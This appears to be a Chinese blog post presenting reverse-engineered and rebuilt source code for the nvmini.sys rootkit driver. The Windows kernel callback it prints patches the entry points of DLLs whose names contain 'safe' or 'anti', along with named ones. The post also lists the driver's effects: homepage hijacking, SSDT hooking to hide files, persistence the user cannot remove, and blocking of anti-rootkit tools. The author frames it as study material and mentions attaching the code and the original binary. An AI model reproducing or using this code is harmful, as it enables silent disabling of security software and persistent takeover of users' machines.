代码风格如下:
 
//
VOID
MyLoadImageRoutine(
IN PUNICODE_STRING ImageName,
IN HANDLE ProcessId,
IN PIMAGE_INFO ImageInfo
)
/*++
 
逆向: sudami 08/03/05
 
功能:
在这个模块通知回调函数中进行过滤。若是病毒DLL加载,则修改其DLL的前字节
使其直接失效.
 
–*/
{
BOOL bFind;
ULONG Length;
WCHAR Name[300];
PEPROCESS proc;
PVOID pImageBase;
SIZE_T dwSize;
PVOID pOEP;
KIRQL oldIrql;
PIMAGE_DOS_HEADER dos;
PIMAGE_NT_HEADERS nth;
PIMAGE_OPTIONAL_HEADER poh;
PHYSICAL_ADDRESS physicalAddress;
 
if (ImageName == NULL) {
return;
}
 
Length = ImageName->Length;
if ((Length == 0) || (ImageName->Buffer == NULL)) {
return;
}
 
bFind = FALSE;
RtlCopyMemory(Name , ImageName->Buffer, ImageName->MaximumLength );
_wcsupr(Name);
 
// 
// 原IDB中申明了一个结构体(全局变量),其中每个DLL名字后面紧跟着的是一个到的数字。
// 0表明是在SYSTEM32 目录下
// 1表明是在WINDOWS目录下
// 2表明是在COMMON FILES目录下
// 3表明无论在哪都是病毒的DLL
// 偶这里简化了一下,效果一样
// — sudami 08/03/08 
//
if ( ( (wcsstr( Name, L”DLLWM.DLL” ) != NULL) && (wcsstr( Name, L”SYSTEM32″ ) != NULL) ) || 
( (wcsstr( Name, L”WININFO.RXK” ) != NULL) && (wcsstr( Name, L”COMMON FILES” ) != NULL) ) || 
( (wcsstr( Name, L”RICHDLL.DLL” ) != NULL) && (wcsstr( Name, L”WINDOWS” ) != NULL) ) || 
( (wcsstr( Name, L”RICHDLL.DLL” ) != NULL) && (wcsstr( Name, L”WINNT” ) != NULL) ) || 
(wcsstr( Name, L”WINDHCP.DLL” ) != NULL) || 
(wcsstr( Name, L”DLLHOSTS.DLL” ) != NULL) || 
(wcsstr( Name, L”NOTEPAD.DLL” ) != NULL) || 
(wcsstr( Name, L”RPCS.DLL” ) != NULL) || 
(wcsstr( Name, L”RDSHOST.DLL” ) != NULL) || 
(wcsstr( Name, L”LGSYM.DLL” ) != NULL) || 
(wcsstr( Name, L”RUND11.DLL” ) != NULL) || 
(wcsstr( Name, L”MDDDSCCRT.DLL” ) != NULL) || 
(wcsstr( Name, L”WSVBS.DLL” ) != NULL) || 
(wcsstr( Name, L”CMDBCS.DLL” ) != NULL) || 
(wcsstr( Name, L”UPXDHND.DLL” ) != NULL) || 
(wcsstr( Name, L”RDFHOST.DLL” ) != NULL) ||
(wcsstr( Name, L”safe” ) != NULL) ||
(wcsstr( Name, L”anti” ) != NULL) ) {
bFind = TRUE;
}
 
if ( bFind == FALSE ) {
return;
}
 
if( !NT_SUCCESS(PsLookupProcessByProcessId( ProcessId, &proc )) ) {
return;
}
 
KeAttachProcess (proc); // 附着到此进程
 
pImageBase = ImageInfo->ImageBase;
dwSize = ImageInfo->ImageSize;
 
try { // 确保地址的正确性
ProbeForRead( pImageBase, dwSize, sizeof(UCHAR));
} except(EXCEPTION_EXECUTE_HANDLER) {
return;
}
 
// 得到程序入口地址
dos = (PIMAGE_DOS_HEADER) pImageBase;
nth = (PIMAGE_NT_HEADERS) (dos->e_lfanew + (char *)pImageBase);
poh = (PIMAGE_OPTIONAL_HEADER) &nth->OptionalHeader;
 
if( (dos->e_magic != 0x5a4d) || (nth->Signature != 0x00004550) ) {// “MZ” “PE ”
return;
}
 
pOEP = (PVOID)( poh->AddressOfEntryPoint + (char *)pImageBase );
physicalAddress = MmGetPhysicalAddress( pOEP );
 
ProbeForWrite ( pOEP, 5, sizeof(CHAR));
 
// 修改其前字节的内容,使其失效
WPOFF();
oldIrql = KeRaiseIrqlToDpcLevel();
 
RtlCopyMemory ( (BYTE*)pOEP, g_Code, 5 );
 
KeLowerIrql(oldIrql);
WPON();
 
KeDetachProcess();
}
 
 
—————————————————————–
驱动加载后的效果:
 
1. IE首页被改写为 http://hi.baidu.com/sudami,5ms回写一次.普通电脑用户无法修复
2. SSDT被反复hook,5ms回写一次,隐藏了nvmini.sys和autorun.inf等文件
3. 反复回写驱动服务项, 普通用户无法更改和删除
4. 监视病毒模块的加载,禁止之, 监视进程的创建,可在dbgview中观察, 禁止IS,RKU,GMER,SnipeSword等驱动的加载
 
本来还打算加个驱动文件占炕,和投递APC杀指定程序的线程的,想想这跟做病毒没什么区别的了,研究研究就可以了, 
 
 
因为病毒已经过去很长时间,用的技术都比较老,所以实际意义不大,就当扫盲了吧~
附件是code 和 nvmini.idb 、和原版nvmini.sys

声明:本站部分文章及图片源自用户投稿,如本站任何资料有侵权请您尽早请联系jinwei@zod.com.cn进行处理,非常感谢!

上一篇 2013年1月5日
下一篇 2013年1月5日

相关推荐